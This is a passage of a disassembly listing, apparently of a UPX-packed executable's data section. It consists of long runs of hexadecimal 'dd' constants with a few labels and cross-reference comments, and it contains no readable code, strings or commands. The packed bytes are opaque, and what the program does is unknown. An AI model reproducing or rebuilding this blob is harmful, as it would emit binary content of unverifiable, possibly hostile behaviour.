dd 3DA0A0h, 0B2F0F186h, 7AB1FC48h, 0FE4E7F9Ch, 0D57476D3h
dd 0A58FBF5Fh, 81A34A4h, 9ECB2124h, 5B45248Eh, 0B97194B5h
dd 0BB213846h, 11C58BA1h, 75C1F18Eh, 0ABD6F714h, 4F1B546Eh
dd 8CB88BB2h, 0B372EF02h, 0B9047FC7h, 60B7656h, 4280E752h
dd 0D7F21321h, 0F9E9F91Fh, 0D64DD42Eh, 0F6CCA66Ah, 0D9ADE68Ah
dd 3242D4F0h, 40E2C4AEh, 1D388021h, 35C7DE7Ch, 6B6BF890h
dd 3A1ACC89h, 0C9E92AABh, 12CFA8E4h, 2B520277h, 6A9CBBC8h
dd 0D59FEFFFh, 0A1611A86h, 0FD2068A1h, 79B0CFF5h, 0D3AD7CF7h
dd 0A0B4D5E7h, 2E02F73h, 0C71C1383h, 0A6E5778Ah, 0C15F947h
dd 8CCBEE9Fh, 0B2E58853h, 364F0DF3h, 7FC9D2ACh, 0FB53E988h
dd 0BEA52E77h, 0CFA33DA4h, 55CD185Eh, 19F5347Bh, 0B7E33CACh
dd 73AE6B2Dh, 26CFF47Dh, 0FD22E003h, 0E35F482Fh, 7883063Eh
dd 0FFBF3E54h, 0C8A62FF6h, 89CD21BDh, 94BDA50Fh, 0C65B6A5Ch
dd 4FE200A2h, 6641DEFBh, 19D291B8h, 58B9593Fh, 16EAC646h
dd 0DC1B21C8h, 173807B5h, 41C471A4h, 769274AAh, 99048D42h
dd 0B1EEA80Bh, 0CF7A82DFh, 0D3E9B5B6h, 31EB95A1h, 4B019ADCh
dd 95596C6Ah, 0FB57B0Ch, 0C6AA9D4Eh, 2FB139BCh, 0BFEE49Fh
dd 26A2CFE5h, 4B6F5906h, 0AB632F5Ch, 5C302766h, 0C883D8FAh
dd 0C5C1D78Dh, 89C1E2E6h, 0CEA2FA4Eh, 0B5D86662h, 20030EE3h
dd 36E62862h, 0ECDABC79h, 0F0EEC5B2h, 0BE6DF15Eh, 1B211FE2h
dd 0A40611B3h, 0B721A41Ah, 5475277h, 0AD6ACAA3h, 34C62E4Eh
dd 43791E48h, 521A4C3h, 79134h
db 0CDh, 9Ah
word_544F42 dw 0AA64h ; DATA XREF: UPX0:off_4264E0o
dd 0A7B4D939h, 4F84569Fh, 0C687248Ah, 0E7BA6753h, 7C800181h
dd 0D2D48F92h, 321842DDh, 0B7966377h, 0A33DD418h, 0BE93B0AAh
dd 5E83F058h, 0C5A20741h, 0E4EF87CCh, 0A0E6E645h, 6A2D7827h
dd 85F4F05Ah, 0E074967Fh, 439B67F3h, 7CCC2451h, 0F440A440h
dd 56F0478Fh, 53654430h, 516C3CB1h, 0D29968BAh, 0DE29AB22h
dd 0F10C31FAh, 5511557Ah, 48CC9F84h, 0B68B69FDh, 0E3B4E7D3h
dd 0F7B66AABh, 5E793B24h, 0D1E4EB34h, 0ABD34372h, 0A80148F0h
dd 70BBDE5Bh, 0D0E9A769h, 0E1411902h, 0CC929CDDh, 9CC5B55Ch
dd 11EC7F03h, 0A6606145h, 0DF90DAFBh, 9CFE9256h, 0A8D44D81h
dd 9BBD2463h, 27AB241h, 1A9B152Dh, 185D7A73h, 0EA6F2F02h
dd 7820395Eh, 0B1DB019Ah, 44E26F73h, 6982C3BAh, 41987F63h
dd 0BC4C1270h, 163C9953h, 0E20071F4h, 0A05BAB76h, 213FB50Fh
dd 43C73302h, 0B63EC574h, 0CC077DCEh, 65C929FDh, 0B0E14A5h
dd 0A2748F18h, 822408DBh, 0C4C132F0h, 0AC39921Ch, 98EE3376h
dd 0B19D5619h, 291BA728h, 74D1B471h, 981AFB63h, 0B66F5ADDh
dd 92C1F4AAh, 205BBA1Dh, 5D59618Ch, 65372F95h, 3870F140h
dd 0D9C1E171h, 0AFF55DFEh, 6AC257B5h, 64F17CFEh, 0AAB612BFh
dd 319445FAh, 3CE368B0h, 8BDE8D2h, 28E4D011h, 4D1AEB89h
dd 0A42FEB41h, 29BD7926h, 0CD3DBE13h, 0BF53FD00h, 73CC93C0h
dd 820B436Ah, 57374213h, 54DFB12Ch, 0D57C8690h, 4827412Eh
dd 0B742B9D9h, 85B0D9B0h, 0F115F4D6h, 8944D1A4h, 19FDB349h
dd 0CBEDF6FCh, 0FE08AF2Ch, 9139CA73h, 6B7C5B57h, 0A9FEC440h
dd 0BC4A7873h, 0E31798BAh, 301BA503h, 0F82BEDDCh, 6C2F3D1h
dd 0D0CA1973h, 0B44EB0D7h, 85A26DB6h, 0CBBA46DFh, 764F1BB2h
dd 1AA76C44h, 0D8DC429Ch, 0EC9D15Fh, 0E82068E9h, 0C60EBEA7h
dd 49F905EEh, 0DE37D496h, 751F2D00h, 66485BCEh, 7C1DCCA5h
dd 0F9D5BCB1h, 4F1959F7h, 6D9CB994h, 0E7CC9A08h, 0A06058B8h
dd 2DCA15h, 2F952CD3h, 86B2F28h, 0EB1306Bh, 0F24A1326h
dd 47C188F7h, 1504BC09h, 4D399BFCh, 836A2E2Eh, 4774CFE4h
dd 7E87ACD3h, 0B21C7B7Ch, 0F8E4D88Fh, 198F7B79h, 66B5F128h
dd 4BAC91B1h, 7CA4102Bh, 0E810A43Eh, 6C1E40DDh, 32DB1664h
dd 6E68CE4Ah, 0BAACBCF7h, 25110AD3h, 95280B5Ah, 10A89385h
dd 0E0C5011Ch, 3E7E8D7h, 70F04C39h, 0E58BDF2Ch, 73D38CDCh
dd 1A4AB33Ah, 39C439Fh, 0FE94A2F4h, 72CB93Dh, 8811C2C3h
dd 57A52FC0h, 0F0EAA57Fh, 853D6AFAh, 0F0D01829h, 8149F62Ah
dd 2EDE4767h, 98FDFF7h, 343EF03Fh, 68BCF557h, 0F11D71B9h
dd 0FE3C030Ah, 27462956h, 0B9489845h, 88A55CEh, 38EFF05Fh
dd 3B1C24B7h, 0FAB5369Fh, 0BDEE169Eh, 0E99AC4F0h, 906F415Eh
dd 0D9AA3913h, 41132190h, 9ED57F64h, 9AD78329h, 8685510Eh
dd 0F53244BCh, 2AFD967Fh, 710A9DBh, 473B2683h, 0E1930832h
dd 733968A1h, 0B60DB16Ah, 9DADB0B9h, 0E1F7A238h, 4E5BFAF9h
dd 0A054A250h, 0A7676CF8h, 2C5D478Bh, 56A7D90h, 83E1E70Ch
dd 0F2DA0441h, 2C165012h, 0E4432783h, 0B411E94Ch, 0E3C15234h
dd 0D3245613h, 0EB45DEE5h, 50AE6235h, 8FFA093Dh, 0EEADFFDh
dd 3AFF1F90h, 619EA1EBh, 0E28C07A5h, 0B91606D0h, 3C0E491h
dd 0CC2C39C7h, 99AB26D3h, 0A64835BBh, 0BDB233D6h, 0BD24D14Eh
dd 0ABF525E8h, 6B2ED108h, 65A66DC5h, 0CE869878h, 27FD3DC5h
dd 0A0ADB11Fh, 19494BD9h, 107DBBCFh, 57458539h, 637D14FAh
dd 483B8912h, 0F350D9F6h, 4E08C4AFh, 0D01F3567h, 0E9BA9480h
dd 0EF76D556h, 0B8EE8ABAh, 30EE5792h, 0C5C7291Ch, 0DE06A685h
dd 95DDDAE6h, 21589FBCh, 14701531h, 0CD860281h, 3FF4F526h
dd 6364BD76h, 46044847h, 0C4C9C2C5h, 0AA45E693h
dword_545350 dd 350EDCE0h, 0B873CA9Bh, 0DEB6C914h, 41477550h, 3812B701h
; DATA XREF: UPX0:off_438F2Co
; .data:off_4EF57Co
dd 45694286h, 3AEC12Ch, 0DC6248B6h, 93D6262Fh, 0B9BFA58Fh
dd 90D3867Dh, 918709DDh, 0F244A143h, 0DA83E9E4h, 0EF2031EBh
dd 0BE34DA73h, 3172E38Ch, 20A41710h, 0BD542381h, 0A79892EBh
dd 16C42783h, 0D17649C8h, 2551AAB8h, 0E7332760h, 75CF46CEh
dd 5A65BBFDh, 4F22F912h, 234C9647h, 82B9E8h, 4755E31Ah
dd 60F77E61h, 5A2D34C6h, 0F402D0A3h, 5EBFB949h, 3311AD51h
dd 328DA144h, 0C606A49h, 6DA9444Fh, 0DE8221A3h, 0AD39A96Fh
dd 0AD34614Fh, 2143FF4Fh, 0C0854237h, 0D43B9F02h, 262AA6EBh
dd 4A2E8F30h, 0F44C135Fh, 243F9492h, 9FF9924Ch, 0DBDF6E81h
dd 68B4D46Ah, 2089660h, 0E2F6D05Ch, 7E4FC932h, 0E6977B8Dh
dd 44ADB2E9h, 0E2723302h, 30042704h, 83E7F34Ch, 372F12E5h
dd 0BBEE1316h, 0FFFD37CCh, 0D00FFC80h, 367C9DBBh, 0C749ED09h
dd 0CF9947h, 41FCF5B7h, 5C7FAA8Eh, 747250A9h, 5C8FA6F5h
dd 3AB2410Fh, 0BC1FC179h, 2C85AA16h, 4C64612h, 6053D110h
dd 4CC5DD27h, 0A7F0269Dh, 0D18A35B6h, 7418BDD2h, 7C23549Fh
dd 314A5B29h, 7B8244Eh, 3B4A5746h, 79246FA1h, 0CE682272h
dd 6C525549h, 6E8E3A41h, 0FC983A47h, 640274D6h, 5D0465CEh
dd 0C211Bh, 66390475h, 38DF8F55h, 0C3FAD204h, 9249BA31h
dd 725681A0h, 37CBA6F7h, 0B7DB5E2Eh, 16CFFFE1h, 0C7E9484Fh
dd 8B7D04CAh, 49F436DAh, 439A9774h, 34582800h, 0BB4FF4C7h
dd 630DE96h, 235A3C52h, 3AC37C4Dh, 436843E0h, 5F0D4B30h
dd 0EA3C158Ch, 37EE5DCh, 7FCF87D5h, 4A833EB3h, 0A319B00Ch
dd 9516C4B4h, 0DFB562D8h, 13C2AC13h, 5B1B4779h, 0E63CE285h
dd 0AF3F74C2h, 623009A7h, 5C9EF3C7h, 0ABEEFDCBh, 4D875691h
dd 7DABB382h, 6F8EAD6Ah, 698C6C11h, 0B552DA6Bh, 0AE10033Ch
dd 0A3B35ABFh, 36A04A8Eh, 0A582E3D1h, 82B82292h, 0C6DC82C3h
dd 0A3D23095h, 1DA1DDA6h, 0AD4036D0h, 0B95903B9h, 0C593E1Dh
dd 0A3A49B9Bh, 0CFBEA121h, 58320665h, 2EC014F3h, 0E2E2A92Dh
dd 3AD1F21Bh, 9FB028ACh, 0EC0BFF33h, 3B7917B3h, 0A8D0A949h
dd 0A8BC8C8h, 9E973CBDh, 0BA73348h, 8D1BEA7Ch, 8807ABBBh
dd 7E48B576h, 4CD4D441h, 0E1563F7h, 296651B0h, 988C92E1h
dd 832A13B2h, 6AEF1E85h, 0E5156137h, 136F568Ah, 0F8F5A177h
dd 60C525ABh, 7A82C8E0h, 455288A3h, 0F3CBED1h, 58D0A7A8h
dd 305DF08Eh, 574EC15Dh, 8873D549h, 111D3768h, 0EBE1F920h
dd 0DA993A3Bh, 23F8815Ah, 0C664F66Bh, 8F8D8A92h, 84DB0CFDh
dd 0E551829Ch, 0EB066D1Ch, 370747A9h, 7AB9DF1Ch, 0E09D6553h
dd 57C06FD3h, 48DD5BA2h, 8974BF0Eh, 4702CDE9h, 0F8138F38h
dd 9A41EFECh, 9337BEA1h, 0D48FE476h, 0E6A29929h, 0A38D9263h
dd 0FB89F733h, 30467619h, 0BB58E4F2h, 90D161E9h, 65EF9FF2h
dd 11A353E9h, 1576221Ah, 7C76E52Fh, 0CFB91D6Eh, 0D5ED53CFh
dd 62E4C892h, 1B2102C1h, 0F2CCAE2h, 0B3607711h, 38CF64F6h
dd 8909F42Ch, 0FEFECA4h, 57EF6F9Fh, 0ABADF15Eh, 0ACF0DE2Fh
dd 108E0BC4h, 499CD9BAh, 85B48700h, 12517221h, 0DE5C10FBh
dd 0EEF71CEFh, 2C38AF49h, 0E19281F8h, 6FA31AEFh, 0D917BF4Ch
dd 58D756FCh, 0DCA1B4B7h, 0BDECCCC2h, 4412CD3Eh, 55FEDD9Ch
dd 8EC740C1h, 0C03D6E0Dh, 7A77BCF9h, 2BDA067Ah, 0E0B35FC0h
dd 0AADF1C5Fh, 0CA8C7BDAh, 0B72152ADh, 5667B6FBh, 20E40B87h
dd 0B7AAE4EEh, 7763BFA2h, 928FFBC9h, 7A38288Bh, 863DD03Ch
dd 938DA8EBh, 4F69BE35h, 65FC844Ah, 55F4005h, 7D374509h
dd 0C8679370h, 61F0BF47h, 0D5B279Ch, 4AE6EE66h, 311E8068h
dd 0FFFBF412h, 0E60203Eh, 43F6EB3Bh, 7CDE4425h, 69F260BFh
dd 792597E5h, 0EA3CFC07h, 290A8050h, 15E9E863h, 0E9F42E7Bh
dd 0A3992107h, 0ED4D51C5h, 873BE2CFh, 0E529F451h, 88FBC642h
dd 0D13C70Fh, 0D30AB753h, 3B41552Ch, 50C3EEAFh, 0A6EE365h
dd 7A34357Ah, 0CE38B3C0h, 6AF23436h, 8B2C5B3h, 14F07EC8h
dd 7DD2AA9Eh, 8A049D2Ah, 1900F739h, 55C6011Bh, 0B059A26Fh
dd 0D50231BBh, 72FA1C0Fh, 0D0AD5B88h, 4FC5547Eh, 0D5085756h
dd 2CE4153Eh, 4DFA98F3h, 5FFF6692h, 8568558Dh, 23D016CFh
dd 0A174F167h, 93BF2B5Ch, 33494E1Eh, 0AB3E3659h, 0F92D397Dh
dd 9DCB8639h, 33B3DF8Ah, 590F760Eh, 77CE5206h, 997FB490h
dd 0CDC434C5h, 0D064244Ah, 0F6AF6CE8h, 0F292DBFh, 261F29AFh
dd 0E819241Fh, 0A946A55Dh, 0DA2806EDh, 6D632A4Fh, 29436012h
dd 0A9366537h, 84907776h, 0E15842C1h, 0B145129Ch, 2BAB4EDAh
dd 0B9F33D61h, 8BEA9037h, 5BF30F60h, 466CABB7h, 1DA7A4BCh
dd 6F11539Dh, 0D8840125h, 0E80873C7h, 81A092CFh, 0B33D6A45h
dd 97CB44FCh, 8FD0F99Fh, 4B9254ECh, 9C978880h, 0BA090096h
dd 0C8555869h, 81A4A593h, 94B8A94Fh, 889754A9h, 54FB7581h
dd 0E430D43Bh, 0AF082E6Fh, 79E24C5h, 0D23A77B5h, 78FF1F5Fh
dd 0AF4E05A9h, 4F61C5B3h, 6BE76C34h, 9227B2ADh, 0B49FA002h
dd 9645A72Dh, 0AAE7AEB5h, 7835BA58h, 0D3BF79D4h, 2C1DC050h
dd 0FC0E5D14h, 55ADDE9Dh, 0ADA283EDh, 0D99AC664h, 6E8C739Bh
dd 3ADC0AD7h, 96F7F9FBh, 0A8141E9Fh, 2F52B09h, 7DBADB96h
dd 0EBC096B8h, 1BDD381Eh, 77FBA3E0h, 0D5C3EE0h, 0A9BA968Bh
dd 12814FA2h, 3DB4CCC5h, 0DA2BCD7Ch, 5722FB72h, 4F0F22B7h
dd 9852E534h, 502D8B4Fh, 844BC000h, 2F356281h, 0F933A2EBh
dd 713F5A4Dh, 7B068464h, 0B66F040Fh, 95741CA1h, 0D11E1230h
dd 0E325AFCAh, 21F86CBAh, 0CE691475h, 405760Eh, 41048C58h
dd 0A57D1832h, 0FF7CA641h, 74EF599Ah, 4403E62Dh, 58C76E9Dh
dd 0CEE2670Bh, 8DC9411Eh, 5DD2FE7Ah, 0F8A96A76h, 3FEF98F0h
dd 0B46B44ADh, 0E7E833A8h, 0E417A662h, 0F1695418h, 23795003h
dd 73AB3443h, 1EFCDDA7h, 307ED4DDh, 359C9D9Bh, 0FAB4E4CFh
dd 0EB7FA1EDh, 32898EC5h, 0C036D44Bh, 0EE56C8CEh, 242A9DC5h
dd 834F3663h, 2B6068Bh, 68F2B358h, 338A0741h, 0DF63060Ch
dd 87587240h, 23B45A74h, 21511FDFh, 5EC80F4Dh, 77327E17h
dd 68CA3897h, 9B47285h, 1CB0082Ah, 0C7E9EDD0h, 3DA13192h
dd 2B2CEC13h, 82ABE852h, 75A02314h, 0FDE7A48Bh, 0A473254Eh
dd 8DA360BEh, 1F8714DBh, 0B596A052h, 0CF90E942h, 0FD25CC03h
dd 0E2C7E9D0h, 0F4000Bh, 0BE96203h, 0A402A3CCh, 3686B67Dh
dd 0DD60A677h, 2DAEB73Fh, 0BEF49FF4h, 95C9248Ah, 0E4D793EFh
dd 69139C3Dh, 900225F0h, 724A12DBh, 243F9681h, 0B5624745h
dd 3093FAA9h, 679E5318h, 489C9DA7h, 5B0DAF07h, 0E92E4DF1h
dd 0EC6729C2h, 1F2BC978h, 0CA0C0A91h, 9481B059h, 42F945C8h
dd 6ECA08CFh, 49496CEFh, 4A6FAECCh, 2E20312Fh, 0ADC55674h
dd 7B4B9D9Eh, 0E307E2A9h, 0B66AF433h, 66306BF2h, 8B209898h
dd 949F814Dh, 0C1795F25h, 7D018FB0h, 0BAEDD604h, 0E7D8B5DDh
dd 0A073268Eh, 0C443ABABh, 179AE9F7h, 86261C5Fh, 0DA14357Dh
dd 0C0CD9207h, 0B5D125D7h, 78A2927Ch, 804773h, 0A42F852Dh
dd 0A9444D1h, 4D32865h, 0CC6837A2h, 0B9995A00h, 10727CB8h
dd 9052AEDDh, 7B892FDEh, 82D3D07Eh, 0F7FEF501h, 0ECC64F6Eh
dd 7D9EA4BDh, 0A7E2600Eh, 3C63D4D9h, 314AFCEEh, 23E948D5h
dd 0BCAE5552h, 9C58B8AFh, 0F9C84E37h, 0F652B867h, 0C7C904FEh
dd 0E2FAA01h, 9F46C7B0h
dd 0B509C0AEh, 0C6D01A7Eh, 23B06612h, 2F11C82Ah, 16F00D7Eh
dd 6EF49B7Ch, 2AB5A2CDh, 163EFEDFh, 4764FDE9h, 0A1339872h
dd 3E99F76h, 53EEA9A7h, 0D0E79F36h, 0FED36480h, 0F5632BA3h
dd 0D7F91A7Dh, 0E32F4C7Eh, 0FC2C2596h, 0C564D4F5h, 1AA50C1Bh
dd 0D4307255h, 29F7C1ACh, 0A137CF17h, 522B34D5h, 0CA63AC08h
dd 92650D37h, 0A81A2698h, 6C30DD1Eh, 8FC2E1C7h, 6B3B5621h
dd 3B3ACA5Eh, 0DE063F76h, 0F95499E2h, 8F9C44B0h, 3AB07B18h
dd 0FA6377CCh, 9486ADF6h, 0BE06A837h, 0A85D2DDCh, 88A66E6Eh
dd 1435250Dh, 0FFA5C4C6h, 945E0C18h, 0D0DD7B82h, 7812B69Ch
dd 69B9163Eh, 425090ACh, 73BE0CE9h, 30E604Ah, 612491Ah
dd 81E13DB6h, 0BA55470Eh, 87B4D128h, 6A74915Ah, 0B099A799h
dd 0E37B9763h, 4F98FEBEh, 539A9C6Eh, 0A169950h, 8ED098E5h
dd 608AB041h, 54DBACEFh, 64D47D1Dh, 0C0B65A17h, 0FD301907h
dd 0FF5B0F95h, 9AF9407Dh, 0F0226D16h, 0EEA86946h, 4234C9EEh
dd 468F4BCCh, 9505616Fh, 45D1AA78h, 23B9E503h, 0E9A193C5h
dd 1957BBB2h, 3FD7D73Fh, 0E42B9952h, 451644E0h, 1FC1ECB5h
dd 52A67D62h, 36C0F643h, 0BB1294B9h, 0E921AF26h, 7C29129Bh
dd 0CE8A0E08h, 239FB6EAh, 0F8CD3FD9h, 15BC154Dh, 19CEE38Fh
dd 78B5103h, 77571872h, 61D4C6E6h, 4D184A98h, 0BCE2AE19h
dd 91B55E5Ah, 0DAD56CE2h, 466B5EF1h, 0D1C9F8C5h, 165EF294h
dd 82801238h, 0D9589EC4h, 0A4F6D5A7h, 1F139C0Ch, 1448480Bh
dd 15E57BB3h, 8003A728h, 3CFB89FEh, 0CBA80945h, 8F8A578Ch
dd 91D25114h, 0A259D906h, 40D2BF04h, 0E3127286h, 0A05A801Bh
dd 435EC748h, 91433060h, 6895EF02h, 18337FECh, 0A716A2ACh
dd 4BCB6AA5h, 0B1CED865h, 0D00E7D52h, 196713EAh, 0D3F6F73Ah
dd 7CEE0C76h, 0BD2A764Fh, 3E71197Eh, 8A036F11h, 0A4593F64h
dd 19F58C64h, 273F8AB0h, 0C6B402CBh, 9807D90h, 9AA53328h
dd 56E64B83h, 1E903231h, 803296CCh, 0CD6515F5h, 0BA9389ABh
dd 6525B9D8h, 249AC66Bh, 0EFAD3BD8h, 3483BFE4h, 0C3F99866h
dd 0C9CA7440h, 8D31FC4Ch, 708D455Eh, 0E28BCF64h, 0B7543A1Ah
dd 13CA0B68h, 4DDF5D61h, 0E9A3E2D8h, 9242AF46h, 12718CFh
dd 26EC0BA7h, 9BDEEC05h, 0E9F8A6C7h, 0F89B844Bh, 81FFA6B8h
dd 0E7B53E0Fh, 0E654AFABh, 9EDFE5CAh, 4F9CA71h, 4FE2541Dh
dd 66154430h, 989D0D8h, 61A0A2EEh, 40F8CA0Ah, 0D85B3F09h
dd 0ED6EA282h, 97E6EF31h, 0C2EFD1DEh, 0E1CF023h, 2CAC7E3h
dd 726944E7h, 0D29C2C4Ah, 4ECB6E27h, 0C88C83BFh, 0D7B6782Dh
dd 1F4AF10Ah, 37C675F1h, 57CA78C2h, 3AC830FDh, 44C821BEh
dd 60F3F48Ch, 0C50F8196h, 391AFDA8h, 542BDBB3h, 24E27AEAh
dd 0D70E63C8h, 0FFA1487Bh, 0E348F29h, 0F1E50768h, 1796D8C1h
dd 0C17B8B16h, 6E491964h, 75741691h, 5F3A5660h, 0B222AF5Dh
dd 0D08C448Bh, 7B321778h, 0C2334Dh, 0B79BFDBCh, 8976BD31h
dd 6F0BB174h, 867933D6h, 0FE538F82h, 3A3570F5h, 11561864h
dd 0EC7B4605h, 24F80D73h, 0DCAF261h, 0A5880476h, 554A7293h
dd 0C8F6FB2Eh, 0D56988F8h, 0B71FA5E8h, 0A19BAC6Ah, 0A35167A0h
dd 0C4A2E616h, 49A9FFEh, 5BFDF23Ah, 5C266229h, 0CE928A98h
dd 0F25CBD81h, 0D2F7BB51h, 52299F8Bh, 0D7154D5Fh, 0BD3B3A3Dh
dd 0DF30267Dh, 3DCBF925h, 96EB36AEh, 3C10A5B8h, 0DE2D1055h
dd 30EA5883h, 0C31288AFh, 14C54E62h, 0A08B050Eh, 78AB7D84h
dd 33406810h, 10061D35h, 0B579F59Bh, 0D77F1774h, 3604AF8Ch
dd 8D332EE9h, 233C492Ah, 921E2814h, 25A071C9h, 677E508Eh
dd 23C1647h, 711D22C9h, 0EF74EA00h, 0A75AA703h, 9D1B3444h
dd 995526FBh, 1C2E1881h, 19159F89h, 0A66567D5h, 0C8E03061h
dd 7821CAEEh, 38452944h, 0D9B4B6C9h, 38E0B804h, 0D9A4F06Dh
dd 1CCAFB59h, 6C76B52Ah, 2BCE3528h, 38BC6DBEh, 73C0CA36h
dd 84295946h, 0C8E8301Bh, 1C6A1C4h, 6FBDD691h, 181D3267h
dd 740EE6B4h, 2251304Fh, 49FE5FBAh, 0ABC56293h, 70E6C3B2h
dd 0ECD8FFA4h, 768F396Ch, 0A282A3F8h, 4D60D566h, 5B42A763h
dd 5E0FBB40h, 25866714h, 5E2B867Fh, 3A2C28C5h, 0CF30DAF2h
dd 6B91D309h, 733AD227h, 9F327C87h, 0D4F29BC9h, 38F42943h
dd 18093201h, 58452C39h, 2A17615Ah, 19C8D1E9h, 3D32A4CDh
dd 68AC325Bh, 0A7BC98BDh, 353A2CBCh, 8E043C1Bh, 0B507FD5Ah
dd 69F000A0h, 1C8C8CD7h, 0D181DF45h, 0D9A372F3h, 0D4DC4411h
dd 2C437766h, 34C05EEBh, 0ED1499A9h, 7E088370h, 0A5D82B9Dh
dd 0B4C451B7h, 0B53450D0h, 9053413h, 2F8C2913h, 0E681DE45h
dd 10054755h, 6B4A6AB1h, 0E89FB022h, 15C29441h, 45CF4409h
dd 59BCE386h, 168D87ACh, 14A98CD8h, 468FD55Ah, 1AA3DF82h
dd 1A65D3ABh, 21B12891h, 0C42B6A26h, 0ACC7BEA0h, 0AE325B3Ch
dd 2BAF7CF8h, 811D587Ch, 0EE6AFEDAh, 633728BEh, 476BFEC6h
dd 0DEE14879h, 41EEC625h, 0AF8D9CB3h, 0E180E9CBh, 97E6C318h
dd 0CAF40735h, 5A710FEFh, 70482A4Ah, 53CB3410h, 0DA88A8FDh
dd 0BA6749BFh, 60211D81h, 59A3F7D5h, 6A468920h, 447C705Ch
dd 0C5F251B6h, 376B14AFh, 0B17EA868h, 297B26Ch, 0B1DB5C88h
dd 9DCB44BAh, 755048BEh, 5B2D0AF6h, 0F2893305h, 0CBCE9C76h
dd 0ACC2811Ch, 0EC89A8B9h, 713E6408h, 0CD8DEEDh, 0D59DA634h
dd 0FD672E0Fh, 526E1E42h, 6F58E6AFh, 23D5E39Bh, 362F1660h
dd 6F1DE914h, 0EEC4A8B6h, 8510513Bh, 9B7BAAADh, 0C98F3C70h
dd 0EC870AEAh, 858072CBh, 6493213Ah, 0A0D674BCh, 69E814B3h
dd 199E1958h, 593A6013h, 0DFAFDAF4h, 97A9C551h, 0ECA833AAh
dd 45C9F6E3h, 5E76DBC2h, 0F3515133h, 0EBA0AE5h, 5EEC0655h
dd 0ECD9A0F6h, 37662DE2h, 1E0349D6h, 0EC2F7C7Fh, 0EB74D3AFh
dd 0EF9FDC20h, 0F9F52881h, 5B0721Bh, 3D1A6AD2h, 0A0058849h
dd 0B2308F99h, 234F9D74h, 9B498666h, 79AF03ABh, 85C6CABBh
dd 395C1CD4h, 8A832FC9h, 0A8C2C607h, 0CCAA6343h, 503209C2h
dd 0BE72506h, 0BDD278D7h, 633ADE4Eh, 0BBFADCF6h, 0E698A0C1h
dd 0ED1B7B37h, 29A02FB4h, 0AA46704Fh, 8C85DCF6h, 5A5E4E2Fh
dd 6DBBA757h, 0F391DB91h, 74F93627h, 0A9E5354Dh, 539B79C7h
dd 0AF811A16h, 423D7FF0h, 89D3B917h, 65769560h, 4F825997h
dd 80F879C9h, 0E112AA09h, 875522E7h, 910ACE4h, 714C6F6Dh
dd 0C9708EA4h, 44796C30h, 656DEF39h, 0D4F46E3Ah, 6B8BCFAh
dd 0BF8FD98Ch, 0C3CAA378h, 9C18C97Bh, 99DB4D98h, 8D338245h
dd 63C9BC87h, 6A07F0F2h, 3C07DAC2h, 0DD3099D8h, 0FCDE8804h
dd 2287C3Bh, 43A82878h, 0CCF9D208h, 0FD33D6Ah, 0E1BDAFA6h
dd 0BE581161h, 2FDE5B15h, 77B54A98h, 38321D54h, 8A0975F3h
dd 14865E08h, 0FC518730h, 0BCC3E59h, 7C895861h, 6C2E39DCh
dd 4F1FE70Ah, 371BC243h, 5DE0B94Bh, 27D4E17Dh, 9FB4AFC8h
dd 80635D11h, 9BD80D4Ch, 5C017797h, 0C6725EAAh, 59A1D37Fh
dd 0D48DCF53h, 156751C9h, 360D765Bh, 0F4413722h, 0E512535Ch
dd 0B805738Bh, 0E42091C7h, 0C97514BDh, 5F39A5EBh, 0D3C58F57h
dd 0FD16511Dh, 0C903C69Eh, 0A4C9860Ah, 0D8A17F72h, 72A7FAE3h
dd 857EDF2Eh, 0B555E2D4h, 0F73A3BF2h, 7018BB5Eh, 0C6BB3483h
dd 7907D51Fh, 2C1E0AA4h, 52BF4F6h, 3A3DFD87h, 8C5EB2B4h
dd 9353F170h, 0BE0E4476h, 0DB2C3B30h, 5889D2E3h, 38B4724Ch
dd 0D62372FDh, 80AA5F26h
dd 0B1CF4715h, 70D88A90h, 0F26E39D2h, 9D6DAF72h, 396F4C98h
dd 497DD12Ah, 42ECCAE0h, 0A4C2EC6Bh, 52EBFCD7h, 0AFC4E1CFh
dd 0B19BFCA9h, 487E50Ah, 0D2708620h, 3CFB328Eh, 851E315Ah
dd 0C7E1FE19h, 41908D1Ch, 0FB6B980Ah, 7CB3B569h, 0F17767E0h
dd 0B4D62D7Bh, 422EB0A3h, 6859D34Dh, 874AEA19h, 0D02C0821h
dd 0C580A345h, 9033F72Bh, 7C32546Ah, 3B09DF6Fh, 38805FBFh
dd 0CE2C7571h, 9A5CBA00h, 2F4B32B9h, 0F2108321h, 0A0A84D3Dh
dd 0D3A254Eh, 37B1B541h, 63D73AA8h, 0DE52E2D3h, 0B85E6A44h
dd 8353A75Ch, 0B89E9A3Bh, 0A1991C12h, 0F8BFF2ACh, 0DA1268E5h
dd 9D52E226h, 0D07675h, 114804F3h, 0D71DE2CCh, 0D486E92h
dd 0AC028D8Fh, 0F705DB69h, 0F9F398C8h, 0E982234Fh, 2E51015Eh
dd 6C039B31h, 2C3AB681h, 0F2EC98C8h, 0EE4CD2Bh, 2ADFB5DFh
dd 0E162DA9Fh, 0D82A02C2h, 24427EB4h, 0A4F9B855h, 0F7B7ADF4h
dd 0C9405CA6h, 34567063h, 17AB99ACh, 7FAB374Ah, 1BA31FE3h
dd 0C76CF406h, 307DD844h, 40217156h, 0F508AB9Fh, 0D2A6BC58h
dd 1AF86C89h, 844E0820h, 864146FDh, 8FD039CBh, 356AA714h
dd 0E69D2AACh, 5F3221CDh, 0C76812D2h, 949E2EE3h, 66378721h
dd 298E46B3h, 53351D09h, 0BB523BDFh, 3303F423h, 0D89A6013h
dd 40DF4BEFh, 0D7CD1BEDh, 67382D1Eh, 672829BEh, 0ED807C1Bh
dd 810293EEh, 3481C09Ch, 0F99DBA04h, 25D368ADh, 89BF1AFDh
dd 0ED8E26C3h, 9A283F82h, 0DFD36076h, 6C0B4A70h, 3DDE4D53h
dd 0C38F4B4Bh, 0D033F8BDh, 0B5E72484h, 0C23835ABh, 0DC904700h
dd 0EEC4D89Fh, 0A9099C8h, 12D53E3Fh, 90A5762Dh, 1914A24Dh
dd 7EA26h, 7201B365h, 8E1B88EBh, 9EF8017Ch, 0FC2CA913h
dd 288B5153h, 66BE8E9Dh, 0A18C8A03h, 675BFBD0h, 1EEF092Ch
dd 5267027Eh, 0D2208117h, 30D1DB68h, 1B76B95Dh, 0DBDBFA3Ah
dd 5FA74B00h, 0A63294EDh, 3C2B373h, 91B99CF4h, 0AE05DD57h
dd 0C5808882h, 0AE74F5B9h, 753A2DE7h, 0A21AADB7h, 0A7334CD4h
dd 1CD12825h, 142ED90Eh, 7125D9B5h, 0A58BC8A5h, 49A98EE2h
